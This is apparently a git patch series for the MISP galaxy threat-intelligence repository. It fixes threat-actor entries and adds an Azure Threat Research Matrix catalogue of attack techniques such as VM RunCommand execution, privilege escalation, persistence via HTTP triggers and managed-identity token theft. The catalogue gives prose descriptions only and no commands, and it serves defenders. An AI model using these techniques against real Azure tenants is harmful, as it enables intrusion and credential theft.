Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, namely BUMBLEEBEE and BAZARLOADER, further evading detection mechanisms. This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.", "meta": { @@ -10012,5 +10006,5 @@ "value": "Returned Libra" } ], - "version": 237 + "version": 238 } From bdaadea58ef5316405e8ea5fd251c6fded08bf79 Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Tue, 2 Aug 2022 18:17:58 +0200 Subject: [PATCH 043/167] removing a leading double quote in a URL. --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 2e63626..45dfd3b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2147,7 +2147,7 @@ "country": "IR", "refs": [ "https://www.secureworks.com/research/the-curious-case-of-mia-ash", - "\"https://www.cfr.org/interactive/cyber-operations/operation-cleaver", + "https://www.cfr.org/interactive/cyber-operations/operation-cleaver", "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/", "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing", "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", From bfda561f5f29a8cca573e22789fb58252ad36c93 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Thu, 4 Aug 2022 09:11:43 +0200 Subject: [PATCH 044/167] chg: [doc] index updated --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fe28087..12e5894 100644 --- a/README.md +++ b/README.md @@ -455,7 +455,7 @@ Category: *tea-matrix* - source: ** - total: *7* elements [Threat Actor](https://www.misp-project.org/galaxy.html#_threat_actor) - Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group. -Category: *actor* - source: *MISP Project* - total: *412* elements +Category: *actor* - source: *MISP Project* - total: *411* elements [[HTML](https://www.misp-project.org/galaxy.html#_threat_actor)] - [[JSON](https://github.com/MISP/misp-galaxy/blob/main/clusters/threat-actor.json)] From 1369756810179433a58b0124f5211d064a4006b7 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Sat, 6 Aug 2022 21:10:00 +0200 Subject: [PATCH 045/167] chg: [atrm] Add Azure Threat Research Matrix Galaxy and generation script --- clusters/atrm.json | 1063 ++++++++++++++++++++++++++++++++++++++++++++ galaxies/atrm.json | 20 + tools/gen_atrm.py | 117 +++++ 3 files changed, 1200 insertions(+) create mode 100644 clusters/atrm.json create mode 100644 galaxies/atrm.json create mode 100755 tools/gen_atrm.py diff --git a/clusters/atrm.json b/clusters/atrm.json new file mode 100644 index 0000000..8b1515e --- /dev/null +++ b/clusters/atrm.json @@ -0,0 +1,1063 @@ +{ + "authors": [ + "Microsoft", + "Karl Fosaaen", + "Nestori Syynimaa", + "Ryan Cobb", + "Roberto Rodriguez", + "Manuel Berrueta", + "Jonny Johnson", + "MITRE ATT&CK" + ], + "category": "atrm", + "description": "The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse.", + "name": "Azure Threat Research Matrix", + "source": "https://github.com/microsoft/Azure-Threat-Research-Matrix", + "type": "atrm", + "uuid": "b541a056-154c-41e7-8a56-41db3f871c00", + "values": [ + { + "description": "It is possible to view the open ports on a virtual machine by viewing the Virtual Network Interface's assigned Network Security Group", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT101/AZT101" + ] + }, + "uuid": "2b95d14b-2af8-53d9-b72b-a15a966fcd7a", + "value": "AZT101 - Port Mapping" + }, + { + "description": "It is possible to view the IP address on a resource by viewing the Virtual Network Interface", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT102/AZT102" + ] + }, + "uuid": "1c5cdaa4-3e58-5158-8027-7b08c0bd93de", + "value": "AZT102 - IP Discovery" + }, + { + "description": "A resource within Azure is accessible from the public internet.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT103/AZT103" + ] + }, + "uuid": "6c6052f7-3d6b-503b-99b2-8c32e0ed44cf", + "value": "AZT103 - Public Accessible Resource" + }, + { + "description": "An adversary may obtain information about a User within Azure Active Directory. Details may include email addresses, first/last names, job information, addresses, and assigned roles. By default, all users are able to read other user's roles and group memberships within AAD.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT104/AZT104" + ] + }, + "uuid": "df3fd847-3947-5ffa-9fc1-3482575a0796", + "value": "AZT104 - Gather User Information" + }, + { + "description": "An adversary may obtain information about an application within Azure Active Directory.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT105/AZT105" + ] + }, + "uuid": "9a3ef449-a40d-5f65-bbc1-1170dea045d5", + "value": "AZT105 - Gather Application Information" + }, + { + "description": "An adversary may obtain information about a role within Azure Active Directory or within Azure Resource Manager.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106" + ] + }, + "uuid": "ce93d401-b5aa-55f2-942a-d06541dac19a", + "value": "AZT106 - Gather Role Information" + }, + { + "description": "An adversary may gather role assignments within Azure Active Directory.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-1" + ] + }, + "uuid": "b8fc3465-e7d8-5615-a625-f1835d3c313e", + "value": "AZT106.1 - Gather AAD Role Information" + }, + { + "description": "An adversary may gather information about an application role & it's member assignments within Azure Active Directory.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-2" + ] + }, + "uuid": "641e1474-3fa2-5851-9c5b-35bac592825e", + "value": "AZT106.2 - Gather Application Role Information" + }, + { + "description": "An adversary may gather role assignments for a specific Azure Resource, Resource Group, or Subscription.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-3" + ] + }, + "uuid": "12374642-bb8b-5339-ae75-093390894e98", + "value": "AZT106.3 - Gather Azure Resources Role Assignments" + }, + { + "description": "An adversary may obtain information and data within a resource.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT107/AZT107" + ] + }, + "uuid": "41439ad7-9877-532a-a289-3fff16707deb", + "value": "AZT107 - Gather Resource Data" + }, + { + "description": "An adversary may access a user's personal data if their account is compromised. This includes data such as email, OneDrive, Teams, etc.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Reconnaissance" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT108/AZT108" + ] + }, + "uuid": "08444afe-88de-50a9-8396-c9ca035afc22", + "value": "AZT108 - Gather Victim Data" + }, + { + "description": "Adversaries may login to AzureAD using valid credentials. By logging in with valid credentials to an account or service principal, the adversary will assume all privileges of that account or service principal. If the account is privileged, this may lead to other tactics, such as persistence or privilege escalation.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Initial Access", + "ATRM-tactics:Privilege Escalation", + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201" + ] + }, + "uuid": "6ac38262-72d7-52a9-b450-a493ae97c7b4", + "value": "AZT201 - Valid Credentials" + }, + { + "description": "By obtaining valid user credentials, an adversary may login to AzureAD via command line or through the Azure Portal.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Initial Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201-1" + ] + }, + "uuid": "6782f12a-7221-5a47-9aae-5eef4e030a02", + "value": "AZT201.1 - User Account" + }, + { + "description": "By obtaining a valid secret or certificate, an adversary may login to AzureAD via command line.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Initial Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201-2" + ] + }, + "uuid": "30478a5c-82fc-5172-8129-0ece37005762", + "value": "AZT201.2 - Service Principal" + }, + { + "description": "An adversary may potentially gain access to AzureAD by guessing a common password for multiple users.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Initial Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT202/AZT202" + ] + }, + "uuid": "fab95406-0d7c-5239-bb94-38e1ca52a70a", + "value": "AZT202 - Password Spraying" + }, + { + "description": "Adversaries may abuse access to virtual machines by executing a script through various methods in order to gain access to the Virtual Machine.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301" + ] + }, + "uuid": "ac69d8a0-d616-5580-95a5-5abef15c8b81", + "value": "AZT301 - Virtual Machine Scripting" + }, + { + "description": "By utilizing the 'RunCommand' feature on a Virtual Machine, an attacker can pass:* **Windows**: PowerShell commands to the VM as SYSTEM.* **Linux**: Shell commands to the VM as root.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-1" + ] + }, + "uuid": "9369194c-c4d6-5df4-aab1-93c1b3c631c2", + "value": "AZT301.1 - RunCommand" + }, + { + "description": "By utilizing the 'CustomScriptExtension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2" + ] + }, + "uuid": "04ee0b6c-40dd-5e71-8825-b4ac9acdb0de", + "value": "AZT301.2 - CustomScriptExtension" + }, + { + "description": "By utilizing the 'Desired State Configuration extension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-3" + ] + }, + "uuid": "40233909-2e71-5884-95e6-79b2a06ffa46", + "value": "AZT301.3 - Desired State Configuration" + }, + { + "description": "By utilizing Compute Gallery Applications, an attacker can pass MS-DOS or PowerShell commands to the VM as SYSTEM.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-4" + ] + }, + "uuid": "74db1f38-d26b-576b-abac-b6b2ca53bcc8", + "value": "AZT301.4 - Compute Gallery Application" + }, + { + "description": "By utilizing 'command invoke' on an Azure Kubernetes Service (AKS) cluster, an attacker can pass commands to the cluster's VM as SYSTEM", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-5" + ] + }, + "uuid": "dd442218-8ee7-5601-9fae-9d5ab16fcf62", + "value": "AZT301.5 - AKS Command Invoke" + }, + { + "description": "By utilizing the 'RunCommand' feature on a virtual machine scale set (Vmss), an attacker can execute a command on an instance or instances of VMs as:* **Windows**: PowerShell commands to the VM as SYSTEM.* **Linux**: Shell commands to the VM as root.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-6" + ] + }, + "uuid": "6d141243-f440-54bb-9de3-81b65a01faf4", + "value": "AZT301.6 - Vmss Run Command" + }, + { + "description": "By utilizing the serial console feature on an Azure Virtual Machine, an adversary can pass arbitrary commands.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-7" + ] + }, + "uuid": "b2f70558-6986-5dab-9a49-55fa5a1212bb", + "value": "AZT301.7 - Serial Console" + }, + { + "description": "Adversaries may abuse access to serverless resources that are able to execute PowerShell or Python scripts on an Azure resource.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302" + ] + }, + "uuid": "5ff07106-9f9e-5e52-9513-ccc856ea295a", + "value": "AZT302 - Serverless Scripting" + }, + { + "description": "By utilizing an Automation Account configured with a Hybrid Worker Group, an attacker can execute Azure commands on any Azure VM within that Hybrid Worker Group.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-1" + ] + }, + "uuid": "0b61dd42-24af-586a-b910-9c780c12d92a", + "value": "AZT302.1 - Automation Account Runbook Hybrid Worker Group" + }, + { + "description": "By utilizing an Automation Account configured with a RunAs account, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-2" + ] + }, + "uuid": "21851b3a-6fd8-563a-8a51-f8ec44313879", + "value": "AZT302.2 - Automation Account Runbook RunAs Account" + }, + { + "description": "By utilizing an Automation Account configured with a Managed Identity, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-3" + ] + }, + "uuid": "69c9faf8-2f97-5be1-ac7c-446593e88089", + "value": "AZT302.3 - Automation Account Runbook Managed Identity" + }, + { + "description": "By utilizing a Function Application, an attacker can execute Azure operations on a given resource.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-4" + ] + }, + "uuid": "b38b17be-7adc-529d-8f75-378d5e298f5f", + "value": "AZT302.4 - Function Application" + }, + { + "description": "Adversaries may abuse access to any managed devices in AzureAD by executing PowerShell or Python scripts on them.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Execution" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT303/AZT303" + ] + }, + "uuid": "5f103828-8662-50b7-a7b3-faa546194729", + "value": "AZT303 - Managed Device Scripting" + }, + { + "description": "An adversary may escalate their privileges if their current account is eligible for role activation via Privileged Identity Management (PIM).", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT401/AZT401" + ] + }, + "uuid": "74deaa24-30f1-5642-a1e1-44c8cbea46a7", + "value": "AZT401 - Privileged Identity Management Role" + }, + { + "description": "An adversary may escalate their privileges from Azure AD to all Azure subscriptions in the tenant if they are a global administrator", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT402/AZT402" + ] + }, + "uuid": "f264fd49-c9a1-5ada-ba42-b59cb609d656", + "value": "AZT402 - Elevated Access Toggle" + }, + { + "description": "By modifying the .bashrc file in a CloudShell .IMG file, an adversary may escalate their privileges by injecting commands that will add an arbitrary user account to a desired role and scope.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT403/AZT403-1" + ] + }, + "uuid": "9c190f8f-3ec2-5d7c-b19d-a8f5d40d826e", + "value": "AZT403 - Local Resource Hijack" + }, + { + "description": "Adversaries may abuse resources that are configured with a service principal or other identity to further their access to the current or other resources.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404" + ] + }, + "uuid": "adeea4ca-8ff0-5159-815d-4bd53b0d1877", + "value": "AZT404 - Principal Impersonation" + }, + { + "description": "By utilizing a Function Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-1" + ] + }, + "uuid": "7ed04b40-029b-5eb0-8c3d-e021f47e6bfa", + "value": "AZT404.1 - Function Application" + }, + { + "description": "By utilizing a Logic Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-2" + ] + }, + "uuid": "a7bf6734-eae0-53d0-8356-be438c3909eb", + "value": "AZT404.2 - Logic Application" + }, + { + "description": "By utilizing a Automation Account configured with a managed identity or RunAs account, an attacker can execute Azure operations on a given resource.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-3" + ] + }, + "uuid": "d1694a7f-8497-5ce6-b426-b65728778bc2", + "value": "AZT404.3 - Automation Account" + }, + { + "description": "By utilizing an App Service configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-4" + ] + }, + "uuid": "a69ea209-9156-5cfd-8190-c8e7c0d667bc", + "value": "AZT404.4 - App Service" + }, + { + "description": "Adversaries may abuse the assigned permissions on an Azure AD Application to escalate their privileges.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405" + ] + }, + "uuid": "67271cac-5189-56b2-86e3-a40879107eca", + "value": "AZT405 - Azure AD Application" + }, + { + "description": "By compromising a user, user in a group, or service principal that has an application role over an application, they may be able to escalate their privileges by impersonating the associated service principal and leveraging any privileged assigned application role.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-1" + ] + }, + "uuid": "f46e3cf1-d5d4-540e-b96d-d46ca6c092b9", + "value": "AZT405.1 - Application API Permissions" + }, + { + "description": "By compromising a service principal whose application has privileged API permissions, an attacker can escalate their privileges to a higher privileged role.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-2" + ] + }, + "uuid": "b00aa43b-033e-5c73-a558-adaf16391169", + "value": "AZT405.2 - Application Role" + }, + { + "description": "By compromising an account who is an 'Owner' over an application that is configured with additional roles or API permissions, an attacker can escalate their privileges by adding a certificate or credentials & logging in as the service principal.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Privilege Escalation" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-3" + ] + }, + "uuid": "c9012720-805b-5765-bb19-117b8844fff7", + "value": "AZT405.3 - Application Registration Owner" + }, + { + "description": "An adverary may manipulate an account to maintain access in an Azure tenant", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501" + ] + }, + "uuid": "63bdb79b-02b5-53f5-84cd-7af94c28b5f8", + "value": "AZT501 - Account Manipulation" + }, + { + "description": "An adverary may manipulate a user account to maintain access in an Azure tenant", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-1" + ] + }, + "uuid": "76b94161-b0c4-58e9-8f2e-38c53e72af71", + "value": "AZT501.1 - User Account Manipulation" + }, + { + "description": "An adverary may manipulate a service principal to maintain access in an Azure tenant", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-2" + ] + }, + "uuid": "011f820f-cb51-5118-b491-6b533f907c64", + "value": "AZT501.2 - Service Principal Manipulation" + }, + { + "description": "An adverary may manipulate the local admin account on an Azure VM", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-3" + ] + }, + "uuid": "a9e76b8d-9a2e-5635-8d31-2f2782f1b4b1", + "value": "AZT501.3 - Azure VM Local Administrator Manipulation" + }, + { + "description": "An adversary may create an account in Azure Active Directory.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502" + ] + }, + "uuid": "c3e571e8-9893-5e3c-ac6b-cd2cfdf353b7", + "value": "AZT502 - Account Creation" + }, + { + "description": "An adversary may create an application & service principal in Azure Active Directory", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-1" + ] + }, + "uuid": "abfc6aa3-2201-5c2b-8c23-ac50a918d692", + "value": "AZT502.1 - User Account Creation" + }, + { + "description": "An adversary may create an application & service principal in Azure Active Directory", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-2" + ] + }, + "uuid": "fa999394-eadd-550a-8d47-50cdc65abe9a", + "value": "AZT502.2 - Service Principal Creation" + }, + { + "description": "An adversary may create a guest account in Azure Active Directory", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-3" + ] + }, + "uuid": "9f28935a-4eba-55bf-8f02-93ec6479bd31", + "value": "AZT502.3 - Guest Account Creation" + }, + { + "description": "Adversaries may configure a resource with an HTTP trigger to run commands without needing authentication.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503" + ] + }, + "uuid": "fbdebeff-4c97-5576-8ca1-edc008c8d6f0", + "value": "AZT503 - HTTP Trigger" + }, + { + "description": "Adversaries may configure a Logic Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-1" + ] + }, + "uuid": "a540c588-a229-5f06-8e55-aa9936d48d29", + "value": "AZT503.1 - Logic Application HTTP Trigger" + }, + { + "description": "Adversaries may configure a Function Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-2" + ] + }, + "uuid": "6e223830-9497-5d9d-9e64-2349d8fd7da3", + "value": "AZT503.2 - Function App HTTP Trigger" + }, + { + "description": "Adversaries may create a webhook to a Runbook which allows unauthenticated access into an Azure subscription or tenant.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-3" + ] + }, + "uuid": "efe38e61-5580-5b23-b947-f93dfc1c6e1b", + "value": "AZT503.3 - Runbook Webhook" + }, + { + "description": "Adversaries may create a WebJob on a App Service which allows arbitrary background tasks to be run on a set schedule", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-4" + ] + }, + "uuid": "3b5e2af6-1e38-562b-8969-048ad7a75262", + "value": "AZT503.4 - WebJob" + }, + { + "description": "By configurating a watcher task and a Runbook, an adversary can establish persistence by executing the Runbook on a triggered event.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT504/AZT504" + ] + }, + "uuid": "94a052a1-83aa-588c-9d8e-1269e7e9eecf", + "value": "AZT504 - Watcher Tasks" + }, + { + "description": "Adversaries may create a schedule for a Runbook to run at a defined interval.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT505/AZT505-1" + ] + }, + "uuid": "4818f3d9-39ae-58ba-8e3c-c38610473435", + "value": "AZT505 - Scheduled Jobs" + }, + { + "description": "Adversaries can modify the rules in a Network Security Group to establish access over additional ports.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT506/AZT506" + ] + }, + "uuid": "b611390f-01b1-5043-8abd-0f37a1edcb14", + "value": "AZT506 - Network Security Group Modification" + }, + { + "description": "Adversaries may configure the target Azure tenant to be managed by another, externel tenant, or its users.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507" + ] + }, + "uuid": "1a35a003-3f49-560d-a54a-8acfbf203b97", + "value": "AZT507 - External Entity Access" + }, + { + "description": "Adversaries may utilize Azure Lighthouse to manage the target tenant from an external tenant", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-1" + ] + }, + "uuid": "dc904434-aac2-5509-8ecf-7ef7d1b22c28", + "value": "AZT507.1 - Azure Lighthouse" + }, + { + "description": "Adversaries may use Delegated Administrative Privileges to give themselves administrator access to the target tenant.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-2" + ] + }, + "uuid": "5f12fafa-7f63-5066-968c-d5d82d292623", + "value": "AZT507.2 - Microsoft Partners" + }, + { + "description": "An adverary may utilize the resource's functionality to obtain a JWT for the applied Managed Identity Service Principal account.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601" + ] + }, + "uuid": "8c2dea2c-2bfd-53b0-aca5-1e6d3bf4b369", + "value": "AZT601 - Steal Managed Identity JsonWebToken" + }, + { + "description": "By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an Azure VM if they have access to execute commands on the system.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-1" + ] + }, + "uuid": "e11c90b6-eba6-5f5a-93f6-7c7de1bdd104", + "value": "AZT601.1 - Virtual Machine IMDS Request" + }, + { + "description": "By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an AKS Cluster if they have access to execute commands on the system.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-2" + ] + }, + "uuid": "6c8935d7-037d-568d-86a6-2eeadf5ca385", + "value": "AZT601.2 - Azure Kubernetes Service IMDS Request" + }, + { + "description": "If a Logic App is using a Managed Identity, an adversary can modify the logic to make an HTTP POST request to reveal the Managed Identity's JWT.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-3" + ] + }, + "uuid": "36c2bbe2-07b7-5601-ae4a-0657a1c75895", + "value": "AZT601.3 - Logic Application JWT PUT Request" + }, + { + "description": "If a Function App is using a Managed Identity, an adversary can modify the 